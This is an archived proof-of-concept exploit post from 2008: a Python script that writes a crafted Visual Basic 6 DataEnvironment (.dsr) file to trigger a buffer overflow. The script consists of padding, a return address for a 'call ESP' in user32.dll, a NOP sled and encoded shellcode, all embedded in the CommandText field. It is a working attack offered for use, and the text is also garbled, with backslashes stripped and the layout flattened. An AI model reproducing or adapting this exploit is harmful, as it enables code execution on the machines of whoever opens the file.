msbasic-overflow.txt
Posted on 05 April 2008
#usage: exploit.py print "-----------------------------------------------------------------------" print ' [PoC 2] MS Visual Basic Enterprise Ed. 6 SP6 ".dsr" File Handling BoF ' print " author: shinnai" print " mail: shinnai[at]autistici[dot]org" print " site: http://shinnai.altervista.org " print " Once you create the file, open it with Visual Basic 6 and click on" print " command name." print "-----------------------------------------------------------------------" buff = "A" * 555 get_EIP = "xFFxBEx3Fx7E" #call ESP from user32.dll nop = "x90" * 12 shellcode = ( "xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49" "x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36" "x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34" "x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41" "x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x34" "x42x50x42x30x42x50x4bx38x45x44x4ex43x4bx38x4ex47" "x45x30x4ax47x41x30x4fx4ex4bx48x4fx54x4ax41x4bx38" "x4fx55x42x52x41x30x4bx4ex49x54x4bx48x46x33x4bx48" "x41x50x50x4ex41x43x42x4cx49x59x4ex4ax46x48x42x4c" "x46x47x47x50x41x4cx4cx4cx4dx50x41x50x44x4cx4bx4e" "x46x4fx4bx43x46x35x46x52x46x30x45x37x45x4ex4bx58" "x4fx45x46x42x41x50x4bx4ex48x46x4bx48x4ex30x4bx44" "x4bx48x4fx35x4ex41x41x30x4bx4ex4bx38x4ex51x4bx38" "x41x50x4bx4ex49x38x4ex45x46x32x46x50x43x4cx41x33" "x42x4cx46x46x4bx48x42x34x42x33x45x38x42x4cx4ax47" "x4ex30x4bx38x42x34x4ex50x4bx58x42x47x4ex41x4dx4a" "x4bx58x4ax36x4ax30x4bx4ex49x50x4bx48x42x48x42x4b" "x42x30x42x50x42x30x4bx38x4ax56x4ex43x4fx55x41x33" "x48x4fx42x46x48x35x49x38x4ax4fx43x58x42x4cx4bx37" "x42x55x4ax36x42x4fx4cx58x46x50x4fx35x4ax36x4ax59" "x50x4fx4cx38x50x50x47x55x4fx4fx47x4ex43x56x41x56" "x4ex46x43x56x50x32x45x46x4ax37x45x36x42x50x5a" ) dsrfile = ( "VERSION 5.00 " "Begin {C0E45035-5775-11D0-B388-00A0C9055D8E} DataEnvironment1 " " ClientHeight = 6315 " " ClientLeft = 0 " " ClientTop = 0 " " ClientWidth = 7980 " " _ExtentX = 14076 " " _ExtentY = 11139 " " FolderFlags = 1 " ' TypeLibGuid = "{D7133993-3B5A-4667-B63B-749EF16A1840}" ' ' TypeInfoGuid = "{050E7898-66AC-4150-A213-47C7725D7E7E}" ' " TypeInfoCookie = 0 " " Version = 4 " " NumConnections = 1 " " BeginProperty Connection1 " ' ConnectionName = "Connection1" ' " ConnDispId = 1001 " " SourceOfData = 3 " ' ConnectionSource= "" ' " Expanded = -1 'True " " QuoteChar = 96 " " SeparatorChar = 46 " " EndProperty " " NumRecordsets = 1 " " BeginProperty Recordset1 " ' CommandName = "Command1" ' " CommDispId = 1002 " " RsDispId = 1003 " ' CommandText = "' + buff + get_EIP + nop + shellcode + nop + '" ' ' ActiveConnectionName= "Connection1" ' " CommandType = 2 " " dbObjectType = 1 " " Locktype = 3 " " IsRSReturning = -1 'True " " NumFields = 1 " " BeginProperty Field1 " " Precision = 10 " " Size = 4 " " Scale = 0 " " Type = 3 " ' Name = "ID" ' ' Caption = "ID" ' " EndProperty " " NumGroups = 0 " " ParamCount = 0 " " RelationCount = 0 " " AggregateCount = 0 " " EndProperty " "End " 'Attribute VB_Name = "DataEnvironment1" ' "Attribute VB_GlobalNameSpace = False " "Attribute VB_Creatable = True " "Attribute VB_PredeclaredId = True " "Attribute VB_Exposed = False " ) try: out_file = open("DataEnvironment1.dsr",'w') out_file.write(dsrfile) out_file.close() print " FILE CREATION COMPLETED! " except: print " -------------------------------------" print " Usage: exploit.py" print " -------------------------------------" print " AN ERROR OCCURS DURING FILE CREATION!"
